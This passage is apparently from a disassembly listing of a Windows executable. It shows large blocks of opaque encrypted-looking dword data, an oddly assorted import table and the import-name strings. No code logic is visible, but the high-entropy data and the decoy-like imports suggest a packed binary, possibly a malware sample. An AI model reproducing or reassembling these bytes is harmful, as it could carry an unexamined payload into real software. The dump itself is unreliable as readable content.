0E7531FA7h, 6F11E739h dd 0D9DD83FEh, 0AB28E9B8h, 84322485h, 0D4F912F4h, 0A7091C38h dd 860A6B91h, 902EF1B2h, 294F2D59h, 5C172BD7h, 0C12FBFEEh dd 8D31B795h, 18F859B2h, 0C46947F1h, 598F35C1h, 0B9329805h dd 3CD5CECDh, 69BC108Ch, 0B24F1078h, 41104969h, 0C424E9F6h dd 19B2DB31h, 960736Ch, 0D784A0C2h, 250E8C2Fh, 0E41386A7h dd 4350BF78h, 4AC2BD5Ah, 0ADC9E1D1h, 8089E70Eh, 0B7A20279h dd 0E4D716E7h, 30032E28h, 1EB38011h, 6FC1F543h, 3A8381C0h dd 32039EE7h, 0A67930F2h, 0E47F2520h, 3A392821h, 9812A4F9h dd 6A8F6963h, 6BDBE6F5h, 9151B6A2h, 8159626Fh, 0FCC38004h dd 6AE7F9EDh, 0DC395DE1h, 0DFC7B408h, 0AAEB5EF5h, 0B59BE205h dd 81B22143h, 0FAAC1EF2h, 46A31EB1h, 0D63676DBh, 0C439804h dd 93DE5E84h, 601C530Bh, 0BAF9D366h, 61B27400h, 9BA341A8h dd 73FE2E84h, 0D57838BCh, 0F18810D0h, 9FDE63BBh, 0B56C8BA4h dd 40E7C941h, 0FF9C6CFFh, 94B71563h, 202F336Ch, 6AD0831Eh dd 0DB1155DFh, 99885DD3h, 0AB250D79h, 0A4061427h, 0B9DF1FB8h dd 16767231h, 536971D9h, 8FB62E82h, 43979ACCh, 0A1E1E089h dd 147CE7DBh, 6FE2D61Bh, 4A12E383h, 1C62F441h, 3D7026EEh dd 43C8CF5Ch, 5FDAB13h, 1E6561DEh, 600D2562h, 83DF9881h dd 0DB98F7C7h, 0DD1BAF3Dh, 0D142B85Eh, 2D43692h, 5E3083E4h dd 0C79011DFh, 71AC0ECAh, 0A45AEC0Fh, 0FE63A4DCh, 0CE9A89FBh dd 34D7A939h, 0B8DFAD08h, 34C3BCBCh, 359D381Eh, 188354AEh dd 6EF72FB9h, 77789C64h, 0F2F90B9Ch, 7625A72Fh, 7D7E6D6Eh dd 3D7CA5C3h, 6365F20h, 7F431844h, 967BA9C0h, 0B20D0F8Ah dd 59B5ED89h, 40DDA05h, 84DA5DB1h, 8E5A2F83h, 121EFD14h dd 0F6703536h, 8BBACE54h, 3FC2CB44h, 80396D3Bh, 0EBFC2B71h dd 1B1F973h, 294BAAE1h, 9A93E86Ah, 37A89852h, 8DC0BCB4h dd 89DA93DCh, 478E136h, 0BAEFF6B0h, 3800C87Ah, 977FBAEBh dd 0FA911041h, 368419F6h dd 4F9409AFh, 4C33BC8Fh, 7821CBB9h, 8060F4F1h, 712B86ABh dd 2E178146h, 0E8DB66BAh, 0EC1E936Ah, 0D3A3E9DDh, 76F715D5h dd 0C4F4ECDDh, 1B77D4AEh, 956A0AAEh, 0C0DCAE1h, 83D4AF76h dd 3D053558h, 0CD485063h, 0E0CBF2D6h, 475A06A7h, 5AFE2900h dd 0D1FC9961h, 32720B52h, 0BE24A4AEh, 2A8FF1Bh, 3AB78175h dd 3E047631h, 346D9656h, 0D1E095D9h, 5B089BF8h, 954C8CEFh dd 4163EFh, 3930399Ah, 7905D222h, 62E36395h, 0B5C8E0EEh dd 6E7BA17Ah, 0E6DF6B53h, 54D6DE03h, 2D142D7Ah, 0A0E89D3Ah dd 729F9C15h, 33F80C9Ah, 0D393649h, 2481A0Dh, 675C5732h dd 543312E8h, 0E67396B4h, 13D7C176h, 56A8C810h, 30BEDC52h dd 0EB43A0F7h, 1BCC2709h, 4ECC4C4Eh, 0E931379Ch, 657C2326h dd 370E51Fh, 4FBBD76Fh, 9F1112C8h, 0D246149Ch, 0C4311AE4h dd 0ECAD6C21h, 0B28B62EBh, 0F83AC27Bh, 9EAA195Bh, 0A9C07142h dd 605E98C7h, 33207A4Eh, 10C9CD14h, 2714CBDDh, 0A92D20CCh dd 54E1AF60h, 79349F36h, 321C3E28h, 151A64C0h, 0F87E78D0h dd 0A253D780h, 911328B2h, 4F11AE40h, 0E35093CFh, 1711FB54h dd 5CA15E98h, 7B1C3772h, 0CB805BD7h, 87099E7h, 0CAAD53Ch dd 39E0A677h, 0ACDDEA7Fh, 0B3312E07h, 3DD18671h, 0D7466DA4h dd 26F853F6h, 1328DE5h, 0DC4F9FA6h, 2D435862h, 0EC5AF123h dd 715DC99Ah, 3B35F09Dh, 74D6BFF3h, 0B29C9D3Fh, 0B802F04Ah dd 8E76C3B0h, 0FBC6BBD1h, 0F5358400h, 354EACCFh, 68DD540Bh dd 6BEF26Fh, 45946231h, 0FF7108BEh, 7309FCEBh, 520274A3h dd 80744B2Ah, 3B8AF8E1h, 96733999h, 29B5B6F2h, 0A9DF3F43h dd 9B06EB5Fh, 578E675Fh, 0ABEFDC3Bh, 93B2527Fh, 0A0BA24B3h dd 654BACEAh, 0A137B907h, 2446563Ch, 0EB40B016h, 0A2716919h dd 348B7FEAh, 0AC739AAEh, 77D1F139h, 65CA8906h, 224A498Dh dd 0BF1EDA34h, 0EC7B9D9Ah, 0AF5D1AC7h, 5D18F47Eh, 1F838A19h dd 477E25F1h, 45DFC62Dh, 904F33A4h, 0BBA87079h, 0D491C7EFh dd 61AA6A71h, 5CD7221Bh, 0A2568FB8h, 0F722D1B3h, 0AEEC756h dd 0E362BE3Ah, 0E2681AF2h, 292D4536h, 0C613FC0Fh, 0B618CCE8h dd 0BA033B67h, 0C3541570h, 0FAB07606h, 647D9A8Eh, 2A577DBEh dd 31AD1F3Dh, 0CF4E2AB3h, 0C1D1A97h, 0B5918D62h, 0A178B79Eh dd 81EF3FC2h, 406F7EB2h, 76EBBCF7h, 87D7A48Ch, 0AF76D4F3h dd 8B169E07h, 1908D889h, 72EA26B7h, 772A1DEAh, 811421FAh dd 0E0686FADh, 0AD57767h, 9F6FC0h, 2EE5AEDCh, 0C974560Ch dd 1296EFD5h, 87C10277h, 0C4D51C17h, 0B97EE651h, 5ED87A2Fh dd 0BCFE5E19h, 0D89B14C4h, 0B4AB6D25h, 0EC1D3465h, 193D45B6h dd 7284F05Ah, 0F1D5D8F9h, 0D7402638h, 97D7B0DBh, 0B3B6E835h dd 0A0A8341Ch, 2018E3C2h, 5C1AA6CDh, 9B862944h, 7728B8D3h dd 5820CD7Ah, 0B0584EEh, 3874CC8h, 36D06A83h, 82C3F818h dd 608084E8h, 0DAD2437Ch, 0E30626F5h, 34CC2B64h, 0DCE972BBh dd 8245517Bh, 0D566B05Bh, 2C2942C3h, 9021A6ACh, 0A55592D8h dd 0A855117h, 54F532FBh, 0BDC6D730h, 0F0B5E4Eh, 0EF8B8E4Fh dd 195643C5h, 0A14DEAE8h, 729E484Bh, 0FFE7A2E4h, 0FA49BE65h dd 463AE10h, 0C4CCABA9h, 632EA53Fh, 108B2BA8h, 0CA3E8B4Dh dd 58373356h, 0FE4D5BFBh, 1843BEA2h, 41128B8h, 29A78231h dd 1EB779D4h, 0ED6FBDBEh, 0CA76A36Eh, 141CC1A8h, 1CAF56DEh dd 0DE30D319h, 452EE592h, 843C6F76h, 4A0FF05Ah, 0CB7AEBBCh dd 37BDFB02h, 0F2E1B9FAh, 38E0DA09h, 0AF530756h, 5C038498h dd 0B58FF808h, 0DFCF93C9h, 0B62D7DB6h, 0E229F64Ah, 0FC63C702h dd 12BC47E3h, 3ED2311Ah, 0DB4B3C77h, 2A74FB12h, 831B54AFh dd 0A0553528h, 335F572Dh, 772D0A39h, 0E06C427Bh, 0C4AA2A5h dd 423C55FEh, 96D2906Bh, 0A6B98659h, 68C4F673h, 0EC0DB5F9h dd 16DCC4BCh, 0EFB44391h, 0A261CF48h, 578E10ECh, 0D15A159Ah dd 201F816Fh, 0DD50D204h, 85C48467h, 0A1E5BF16h, 637716DAh dd 3D7DE2F0h, 45FA4A21h, 0B6EC113Ch, 1E358CCEh, 1E6644C4h dd 8327D4D8h, 70BF1DBh, 0CDEE3DA1h, 3724FEEAh, 0ABDCA2DFh dd 2CFA1197h, 4436344Bh, 79A313BFh, 0CFE588C8h, 0C7AA95B8h dd 0E87CC394h, 0E8DCDCFBh, 6DAB3CDh, 0A73C2BCBh, 7AD0019Ch dd 4966F75Ch, 0A9B9A09Ch, 3ECD6261h, 0D3937D75h, 0B2E5AFFFh dd 5CF7DA4Fh, 3ACC8DA7h, 0AA5964B3h, 0FE9BAD91h, 4A30BAACh dd 42ECACF8h, 5EAECB78h, 20370DB4h, 89359ED9h, 46EE8E26h dd 0DC1788F5h, 0A7BBF7C0h, 0D47BCF7Bh, 0A69C1B1h, 0F89A475Dh dd 0EA5D426Ch, 0AF871DE0h, 0ECBB6607h, 595C4F44h, 0CA678653h dd 0FA4DD84Bh, 0EB9A45CAh, 8D8D42E6h, 63B36093h, 0FB6EB436h dd 0AB012109h, 77FB798Ah, 0BC8C7D3Bh, 615D91D4h, 34BED543h dd 78F74C32h, 428E8A87h, 0A88A9D3Ah, 38A3D17Bh, 223A6697h dd 7CB64F01h, 9185C89Eh, 409B3AA9h, 0B24B3C9h, 0FEE7EB27h dd 0BBCF84FFh, 0D21E6E65h, 70013AFAh, 0CE93669Dh, 78A15CB8h dd 69F32E39h, 8F4CEFC3h, 0F220774Bh, 0BFADA4h, 6B56CCBCh dd 0F0C89152h, 4FD2469Fh, 2D91CA69h, 69D6BE9h, 0B7759628h dd 21143F30h, 3B14FDD9h, 59FF088h, 80274047h, 662BC08Ah dd 50C4C4C2h, 0E1A99809h, 0A028FF04h, 4E3DC7C6h, 0D1E1EA81h dd 1301400Eh, 0C14E132Dh, 91779E5Dh, 0C2CFC58h, 3441089Dh dd 914AB735h, 37AE79DFh, 6AFD7785h, 0D4CDA18Ah, 0C76B334h dd 0D4D89023h, 48B2E5FFh, 0C866BA75h, 7400B35Fh, 509BD39Dh dd 4B40DEA8h, 0DBA2BF4Ah, 95F50904h, 0C869AA2Fh, 9E1A5A0Eh dd 3DF014Bh, 5F8257ABh, 3B93EE6Eh, 658E8321h, 4CB1B0A5h dd 0D878BA8Ah, 39CD9920h, 3A0B35CAh, 82675457h, 0A9D65502h dd 0EA1EA0A4h, 0EAFB86CAh, 0D6696C9Fh, 89EF200Ah, 0BD3C6E6Dh dd 0C58B9373h, 0CE312C4Fh, 324C7019h, 137289D9h, 0DB4D5C2Dh dd 0EBFB2E2Bh, 259835A9h, 0B06C5C10h, 0D2C41D98h, 1D1FDFADh dd 7993398Eh, 5E3390BCh, 0ECE38407h, 8C977E53h, 37D12440h dd 0BABFFC86h, 0B77E2C44h, 0F73A1D6Dh, 0DDB3D1B8h, 5CECFED6h dd 4CCAB6Bh, 349B0D7Eh, 72443EA5h, 7A6772D0h, 6B0CB259h dd 60614A8Dh, 18B73AB5h, 52F572BCh, 14220211h, 0C7D34CE0h dd 0B31AC534h, 820F0DA4h, 1D98EA19h, 865BBC87h, 0A8619BD3h dd 0D39417BBh, 4E6731E8h, 137A4DB7h, 12E0E0BBh, 0E8407CDAh dd 335E4FC9h, 0DAA32D3Fh, 0A4039E68h, 8FF6B839h, 570BC1B4h dd 2D28879Fh, 9CABC837h, 0E92F27C3h, 0E8DBD59Eh, 8B2DA9BFh dd 174BEE9Ch, 0C653E3A7h, 270EE407h, 53FA2F3Dh, 0E18714A4h dd 0C5534AA1h, 4A8AEE4Eh, 9120730Dh, 157CEEE4h, 0D0BD8886h dd 0FF424224h, 42650635h, 0A7710983h, 0CD623933h, 6BC5A5D8h dd 7B899F3Fh, 0A23D2665h, 0F40CAA85h, 0F4555646h, 53699043h dd 16AB3943h, 0EB4A183Dh, 0FB7D8B68h, 0C82CF2ABh, 0AFE0B73Dh dd 23C86F83h, 0D7ED42h, 0F2650C8Fh, 0CF1AAB8Fh, 5E0E90A1h dd 45EC1FDDh, 0ECE51FF1h, 40A149E6h, 66678B15h, 0AEA5041Ch dd 0D78A7E67h, 2682851Dh, 0E2079B96h, 4320F950h, 1A105281h dd 0D82C941Bh, 7632E11Ah, 3C929184h, 73CE4F1Fh, 6D980C84h dd 9219913Eh, 0BE03F034h, 388597CAh, 0ADE7BBD4h, 28C3F6A4h dd 74C9F0BBh, 8E4BF3C2h, 1BF76956h, 0B17BB943h, 381E2949h dd 6D7B8Dh _rdata ends ; ; Imports from kernel32.dll ; ; =========================================================================== ; Segment type: Externs ; _idata ; int __stdcall lstrcmpA(LPCSTR lpString1, LPCSTR lpString2) extrn lstrcmpA:dword ; LPSTR __stdcall lstrcatA(LPSTR lpString1, LPCSTR lpString2) extrn lstrcatA:dword ; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex, LPVOID lpTlsValue) extrn TlsSetValue:dword ; DWORD __stdcall TlsAlloc() extrn TlsAlloc:dword ; BOOL __stdcall SetCurrentDirectoryA(LPCSTR lpPathName) extrn SetCurrentDirectoryA:dword ; HFILE __stdcall OpenFile(LPCSTR lpFileName, LPOFSTRUCT lpReOpenBuff, UINT uStyle) extrn OpenFile:dword ; int __stdcall GetTimeFormatA(LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpTime, LPCSTR lpFormat, LPSTR lpTimeStr, int cchTime) extrn GetTimeFormatA:dword ; int __stdcall GetDateFormatA(LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpDate, LPCSTR lpFormat, LPSTR lpDateStr, int cchDate) extrn GetDateFormatA:dword ; void __stdcall ExitThread(DWORD dwExitCode) extrn ExitThread:dword ; BOOL __stdcall EnumResourceTypesA(HMODULE hModule, ENUMRESTYPEPROCA lpEnumFunc, LONG_PTR lParam) extrn EnumResourceTypesA:dword ; LPSTR __stdcall lstrcpyA(LPSTR lpString1, LPCSTR lpString2) extrn lstrcpyA:dword ; ; Imports from user32.dll ; ; BOOL __stdcall DrawStateA(HDC hdc, HBRUSH hbrFore, DRAWSTATEPROC qfnCallBack, LPARAM lData, WPARAM wData, int x, int y, int cx, int cy, UINT uFlags) extrn DrawStateA:dword ; BOOL __stdcall EmptyClipboard() extrn EmptyClipboard:dword ; BOOL __stdcall DrawMenuBar(HWND hWnd) extrn DrawMenuBar:dword ; BOOL __stdcall EnableScrollBar(HWND hWnd, UINT wSBflags, UINT wArrows) extrn EnableScrollBar:dword ; BOOL __stdcall EndPaint(HWND hWnd, const PAINTSTRUCT *lpPaint) extrn EndPaint:dword ; BOOL __stdcall DestroyIcon(HICON hIcon) extrn DestroyIcon:dword ; BOOL __stdcall DestroyCaret() extrn DestroyCaret:dword ; BOOL __stdcall DeleteMenu(HMENU hMenu, UINT uPosition, UINT uFlags) extrn DeleteMenu:dword ; HMENU __stdcall CreateMenu() extrn CreateMenu:dword ; HWND __stdcall CreateMDIWindowA(LPCSTR lpClassName, LPCSTR lpWindowName, DWORD dwStyle, int X, int Y, int nWidth, int nHeight, HWND hWndParent, HINSTANCE hInstance, LPARAM lParam) extrn CreateMDIWindowA:dword ; HICON __stdcall CreateIconFromResourceEx(PBYTE presbits, DWORD dwResSize, BOOL fIcon, DWORD dwVer, int cxDesired, int cyDesired, UINT Flags) extrn CreateIconFromResourceEx:dword ; HICON __stdcall CreateIcon(HINSTANCE hInstance, int nWidth, int nHeight, BYTE cPlanes, BYTE cBitsPixel, const BYTE *lpbANDbits, const BYTE *lpbXORbits) extrn CreateIcon:dword ; HDESK __stdcall CreateDesktopW(LPCWSTR lpszDesktop, LPCWSTR lpszDevice, LPDEVMODEW pDevmode, DWORD dwFlags, ACCESS_MASK dwDesiredAccess, LPSECURITY_ATTRIBUTES lpsa) extrn CreateDesktopW:dword ; HACCEL __stdcall CreateAcceleratorTableA(LPACCEL paccel, int cAccel) extrn CreateAcceleratorTableA:dword ; HANDLE __stdcall CopyImage(HANDLE h, UINT type, int cx, int cy, UINT flags) extrn CopyImage:dword ; BOOL __stdcall EnableMenuItem(HMENU hMenu, UINT uIDEnableItem, UINT uEnable) extrn EnableMenuItem:dword ; LPSTR __stdcall CharUpperA(LPSTR lpsz) extrn CharUpperA:dword ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 40885Ch align 10h dd 88CCh, 2 dup(0) dd 8A30h, 8818h, 889Ch, 2 dup(0) dd 8AE6h, 87E8h, 5 dup(0) dd 8ACEh, 8AC2h, 8AB4h, 8AA8h, 8A90h, 8A84h, 8A72h, 8A60h dd 8A52h, 8A3Ch, 8ADAh, 0 dd 89E0h, 89EEh, 89D2h, 8A12h, 8A24h, 89C4h, 89B4h, 89A6h dd 8998h, 8984h, 8968h, 895Ah, 8948h, 892Eh, 8922h, 8A00h dd 8914h, 0 dd 6843002Ch, 70557261h, 41726570h, 3F0000h, 79706F43h dd 67616D49h, 420065h aCreateaccelera db 'CreateAcceleratorTableA',0 aG db 'G',0 aCreatedesktopw db 'CreateDesktopW',0 align 2 db 'L',0 aCreateicon db 'CreateIcon',0 align 4 aN db 'N',0 aCreateiconfrom db 'CreateIconFromResourceEx',0 align 4 aP db 'P',0 aCreatemdiwindo db 'CreateMDIWindowA',0 align 4 aR db 'R',0 aCreatemenu db 'CreateMenu',0 align 2 aB db '',0 aDeletemenu db 'DeleteMenu',0 align 4 aG_0 db '',0 aDestroycaret db 'DestroyCaret',0 align 4 aE db '',0 aDestroyicon db 'DestroyIcon',0 aA db '',0 aDrawmenubar db 'DrawMenuBar',0 aB_0 db '',0 aDrawstatea db 'DrawStateA',0 align 2 aI db '',0 aEmptyclipboard db 'EmptyClipboard',0 align 10h aI_0 db '',0 aEnablemenuitem db 'EnableMenuItem',0 align 2 aK db '',0 aEnablescrollba db 'EnableScrollBar',0 aP_0 db '',0 aEndpaint db 'EndPaint',0 align 10h aUser32_dll db 'user32.dll',0 align 4 aR_0 db 'r',0 aEnumresourcety db 'EnumResourceTypesA',0 align 2 aB_1 db '',0 aExitthread db 'ExitThread',0 align 10h db '',0 aGetdateformata db 'GetDateFormatA',0 align 2 dw 153h aGettimeformata db 'GetTimeFormatA',0 align 4 db 0CAh ; db 1, 4Fh, 70h aEnfile db 'enFile',0 align 10h db 29h ; ) db 2, 53h, 65h aTcurrentdirect db 'tCurrentDirectoryA',0 align 4 dd 6C54026Ch, 6C6C4173h, 636Fh, 6C54026Fh, 74655373h, 756C6156h dd 2B50065h, 7274736Ch, 41746163h, 2B70000h, 7274736Ch dd 41706D63h, 2BB0000h, 7274736Ch, 41797063h, 656B0000h dd 6C656E72h, 642E3233h, 6C6Ch, 43h dup(0) _rdata ends ; Section 3. (virtual address 00009000) ; Virtual size : 00005499 ( 21657.) ; Section size in file : 00003A00 ( 14848.) ; Offset to raw data for section: 00007800 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 409000h dd 296B3A04h, 837F7AFh, 3402F255h, 119A51D2h, 21613FFCh dd 94871F7Ah, 1460A567h, 3FE02BF3h, 153B0B53h, 73DAB6A7h dd 0F621617Eh, 76A9CAF1h, 0A239A1DBh, 5087FA0h, 555978E6h dd 20A167F8h, 9A2A8E46h, 2505F51Eh, 0C60B2F3Bh, 0FB15E1F6h dd 0B54A495Dh, 99056362h, 0B9BD82A5h, 2101F903h, 58FB421Ah dd 6DD172B2h, 900E0826h, 0D9F8F753h, 5804E33Eh, 2A9EEC2Bh dd 53272403h, 0F523CB2Dh, 7FB5704Fh, 1EC7C8Bh, 0B2ED9BAAh dd 0F2424109h, 0A91B154Ch, 0D1F22717h, 0E7244DFh, 0D77D8FABh dd 171A2D6Fh, 84B7E6E1h, 73545D9h, 94A61B51h, 119E5540h dd 86F1AC80h, 165CB9AEh, 9D7AF59h, 0DE7CD527h, 0E361788Dh dd 0E3C2B48Dh, 0FB83B12h, 5C76CAABh, 38822A3Fh, 0CCB541C3h dd 0A4ABBBEFh, 0DDC113F1h, 0B8497350h, 0A51434CAh, 0B950A160h dd 16781ECh, 0F1285B3Ah, 0F077CFB4h, 30F03CDCh, 39914E01h dd 9564FA20h, 19E688D5h, 0D7938193h, 0B7ACE730h, 0C1732CD6h dd 9EA29910h, 0E86352A7h, 14479E04h, 0C86C30ABh, 217823Eh dd 0FA5BD25Ch, 6C127F72h, 0EEAE83A1h, 0DE0EBDA9h, 0F401A8DFh dd 8103BFA6h, 1F7203FBh, 276C13B9h, 0CC082591h, 952A5AF0h dd 801F4D6Ch, 2835B51Ch, 0D35DC9CDh, 87D659D3h, 0B8447E1Ch dd 0B55EA6DDh, 41D4967Ah, 4CD342ACh, 221C01A4h, 0EE2FA913h dd 20A7112Ah, 14E55823h, 6D613E1Dh, 2B951DAEh, 0A2C13ADBh dd 619780BAh, 0E5E40637h, 0A35CB54Ch, 0E866F90Ah, 634A8CA5h dd 55ADA366h, 0F14450DEh, 0CF49BF11h, 0D0052B17h, 571BFB8Fh dd 5F8EECh, 0EB346DF0h, 5D856467h, 0B78385EEh, 0CED77299h dd 37DE30A9h, 320E0313h, 0D82A86E4h, 0DCBC51F5h, 4B648BF6h dd 0C0F39516h, 4AD8FEB4h, 253AE6E9h, 1865D956h, 4D68A215h dd 6807CC5Bh, 833EDC5h, 7FB46D13h, 0EC24D5FEh, 1D2D9D20h dd 8F757ECh, 0B0D167C2h, 0F57DC716h, 1B0E3BB9h, 0E48D2E0Ah dd 0FEEC10C1h, 0C020DF43h, 0D2D660D2h, 0DD0F2C5Bh, 9507BCEBh dd 0FE7B3DA3h, 503E4141h, 0F7E840D3h, 23302802h, 0D8E84614h dd 5C88A657h, 3E3F9881h, 0A4F3D6B2h, 251DAB17h, 0EF0720BAh dd 0B4D979B6h, 0CADA0A29h, 9E9DAFF3h, 92763A54h, 9DD04E50h dd 154E5E1Bh, 0D0B1CA2Bh, 9F72777Bh, 547E663Ah, 855B7FCCh dd 4A3D8459h, 82B4E09h, 26A7420Eh, 0C985A3E8h, 0AA8BC6D1h dd 53C6CA61h, 959FF992h, 5757C03Ch, 40925EDEh, 281177CFh dd 0DF486C3Ah, 1D9B4A3Ah, 488E02E9h, 0C2A196CFh, 0B186D4FBh dd 0FC1F3A57h, 23DA7F8Ah, 0AEF818DCh, 0CD366B62h, 7972F2B6h dd 0D4ECCA57h, 22023708h, 0C4B43B5Ch, 78BD9B66h, 0A3F5044h dd 7B00AE82h, 2F0AD022h, 0DE455136h, 0DE94FCA6h, 0C3D63AFEh dd 33837858h, 0B468CD55h, 4013979Eh, 53DE3C0Dh, 57ACDEFCh dd 1F69AE0Dh, 0F187D159h, 43650870h, 87F594ADh, 8DEE9935h dd 377D5157h, 0BC854B8Bh, 528A63D0h, 0CE6B140h, 0AA8E3DCAh dd 5653C49Bh, 6FD9919Bh, 0C9664AD4h, 0DD5934B1h, 5D3D4EE1h dd 9D06FB03h, 0A0D41526h, 4C3D08F8h, 3AA7E5DCh, 77419DACh dd 0ECEACB17h, 11C40CBAh, 5F032CEAh, 525D264Ch, 533751D4h dd 0BB9FABF7h, 48FDBE7Fh, 0E83F3E3Dh, 722F4A39h, 9F04B81Bh dd 0AB6D87DAh, 0AAEF8E9Ah, 247E3A75h, 57D14D06h, 41EE7BE0h dd 0F4058971h, 0E28FB048h, 0FC1C74DBh, 0A38626Fh, 0B91E11Dh dd 43221CF7h, 37D8566Ah, 0A784781Dh, 30EEEDC2h, 696D4509h dd 0EABF7964h, 0C42D4FA1h, 1929BCCFh, 30A311A6h, 3F9E77BEh dd 3664DED9h, 0A4A2F9FEh, 61BBD04h, 7D9A25EAh, 473BDFDDh dd 0E28151ACh, 0B3F3FBAAh, 0AD9CB63Eh, 0C3386DA2h, 0B1B89FBAh dd 0AF220B2Ah, 2914D9F9h, 34142F54h, 27CB9CA5h, 8F93F023h dd 0CC4B3402h, 9231ADCCh, 7924AAB1h, 1BC00C98h, 57981A4Ch dd 534742A1h, 2755CF7Eh, 2993E9Bh, 7E99D539h, 9AE9EC1Ch dd 66C4C429h, 0AE05364Eh, 0ABAAD74Ah, 4316C490h, 0C7C04FE7h dd 65C400Eh, 327525C5h, 1AB74D51h, 23DEC01h, 591861FCh dd 8F65675Dh, 0A40BE9C3h, 0E99B2232h, 39BE5091h, 0B75870B4h dd 0B9CEDE9Fh, 977EEAEEh, 39526FB8h, 0D6298826h, 3A2CB3DFh dd 3151BF77h, 0F7BC35D8h, 2243E858h, 436F2CD4h, 9D73CDB5h dd 28189973h, 1F98CDC8h, 8F972DC0h, 0FA974868h, 0E38FC8Ch dd 0F49B521Bh, 0EAF91C57h, 5C707E97h, 55EE4587h, 754A2D9Eh dd 9AB34274h, 5EADCDE7h, 447BBCB4h, 0D4AC47ECh, 8E91CB75h dd 248CEAAEh, 52D7BB49h, 49937AE4h, 0FAD2CD00h, 289B4140h dd 3F6A23Dh, 61138B93h, 56D26AC0h, 0CAF25192h, 93BA8756h dd 0FB8C40FDh, 0FA8A8BFDh, 73E273EAh, 353F2662h, 2CA73C72h dd 6B6FA98Dh, 39B854A0h, 110021D1h, 0B9D75277h, 3DCCBB21h dd 0B0679080h, 0F92F768Dh, 1D8CD30Ah, 4E02D1C3h, 851DA68Dh dd 30923BD7h, 0A8396348h, 0C6A8B7C2h, 120C15FCh, 74284E2Dh dd 45641E87h, 5918DDE7h, 6C6FD431h, 0AAD852DDh, 4BFC366Ch dd 979E2F33h, 0CC2CBED4h, 7F6500AEh, 0B1BD446Ah, 0DE68EDF4h dd 0D6E889B3h, 0D613C3EFh, 0DE05A7ADh, 0FCFB88C5h, 9D17B01Eh dd 0ECC73640h, 88B948F7h, 0F0AB2A33h, 0EF535328h, 0BA20BE4Dh dd 7AAC7C81h, 8B858C41h, 0AFCE9C0Eh, 0BFEC0D52h, 24234CFBh dd 4DB487B6h, 0CB1E8A7Dh, 0F9C10E57h, 57B82574h, 3230B092h dd 17E32465h, 0AA5E81C4h, 1C2FE35Fh, 6857A9E5h, 40111D80h dd 0BAF2F001h, 0E3DDAF3h, 5D9FB42Dh, 6DAC2717h, 0BBE5F409h dd 38AF26CDh, 61699741h, 0FF34D049h, 0EEAFB663h, 0A82902A1h dd 4BB74EFBh, 0C56D7D2Fh, 0B2D6102Fh, 0C7C70A91h, 65DA6D9Ah dd 85ED293Ch, 4DC6141h, 0E011D2CBh, 98CFA886h, 0EA64FB84h dd 8B3C9280h, 571B6156h, 0B32BC21Dh, 4CBFA94Ah, 0C76BA907h dd 0A816EFC2h, 8D220C94h, 56267A06h, 1210168h, 0E116B93Ch dd 0FE80FA63h, 3AAC1E46h, 0D955C011h, 4917F949h, 0ED775A23h dd 76882E09h, 0EDB1437Ah, 0FD51DB4Eh, 3894728Ch, 5F2B048Ah dd 0DEA6CA07h, 953FE80Eh, 7FFDC791h, 3041F980h, 3FB29E72h dd 0FA2CC235h, 2147EFD6h, 2F47E133h, 60A19CCCh, 973085A5h dd 602D34B5h, 5C08FAFBh, 4F5706A7h, 265D3AC0h, 3E9E74Dh dd 66403F51h, 5434B926h, 0FD468278h, 1266EA97h, 71BED890h dd 98BE343Fh, 4F458466h, 2A64170Eh, 5472427Ch, 624F0558h dd 51B73E56h, 56D56F40h, 863F07B1h, 547BF6FEh, 0EC94E28h dd 0CAE10FEh, 5F042D80h, 0EB93EDD0h, 347A6FCAh, 0BF2DEB85h dd 9AC274C4h, 0E05439A0h, 867D85ECh, 0D71DB318h, 9F00E601h dd 57332E86h, 0AC1C2161h, 0A7762FCCh, 40AC707Ch, 63BE5A32h dd 3E075DC4h, 24E4CDBAh, 0F8F494DEh, 1CB533B9h, 4415D262h dd 34C29160h, 0C19D71E4h, 6879297Eh, 458F56EBh, 0C2398775h dd 6BC3CC0Bh, 539A2153h, 12286D07h, 1FA56CECh, 86D64880h dd 0C4FD4BD0h, 0B29D9B36h, 0F8489676h, 4A46DDE5h, 0E29CA041h dd 0BD74F0C7h, 1FCFBA27h, 0A218E415h, 0E0EFA038h, 0B57B254Ch dd 9DA0B23Eh, 2CF810B4h, 0B9B37E1Ch, 0D18409ECh, 66E2067Eh dd 0CFBD80ADh, 2B73FFE2h, 4BF427A9h, 6FC69E8Eh, 0AAA6B337h dd 0C231EEE9h, 0C6506753h, 0AA1E7AA7h, 0C4852BCBh, 386A39Fh dd 64A48313h, 4E449AC2h, 61334AF1h, 0B1FC32E2h, 0DD1BB54Eh dd 0A9F5A5F2h, 65938FF8h, 0FDB11572h, 2215EB4Bh, 9591EED2h dd 2105B3DFh, 32962A2h dd 97DD8082h, 0C9DD43Ah, 17F50DA5h, 71CC922Ch, 0BE9C622h dd 90D653Ch, 0A3F1CD13h, 936EFEF4h, 0ED9DBB2h, 0F94C7A30h dd 59EE89D6h, 691F08A7h, 48F28900h, 4FC05BABh, 9555AC59h dd 0EA1E54BAh, 0C9680BD9h, 0C2B551D6h, 4BE4BB9Ah, 26C872A6h dd 543A2DC5h, 1F67DB60h, 0AFE56846h, 119A092Ah, 0B5EAD0D1h dd 58D083B3h, 1AC1D50Dh, 0CFFB6EE0h, 0B3EDEB09h, 0A1BA34E2h dd 4AB08F2Ch, 182DD9BFh, 75320EE5h, 0F4C90EDBh, 0E271225Ch dd 1A5740FBh, 8A3EB9BBh, 0C1590E32h, 1304D168h, 0F0D1A088h dd 9EDCA000h, 320F0565h, 0D2B6D137h, 3F2DC50Ah, 0A2E6D45h dd 30F372CDh, 0F3417329h, 0B76A4304h, 6F53A8E7h, 944C2792h dd 0BEAB2670h, 2B5E4F58h, 8C1F28BEh, 831BC5B4h, 83819597h dd 0BC36819h, 0D65C71C5h, 173A63FBh, 0ED6BD2A5h, 7ECB65EEh dd 0B4570A03h, 0F6A80B1Fh, 0C21C2D5Eh, 2EF4A96Eh, 21CA11ABh dd 0E5244AB4h, 0F4D9FDDFh, 1B509673h, 11ABF684h, 75668155h dd 6C526919h, 8AA542A4h, 0A11932FEh, 0E8EFDBF1h, 0F685AE6Bh dd 0F44B4995h, 3F33F8D5h, 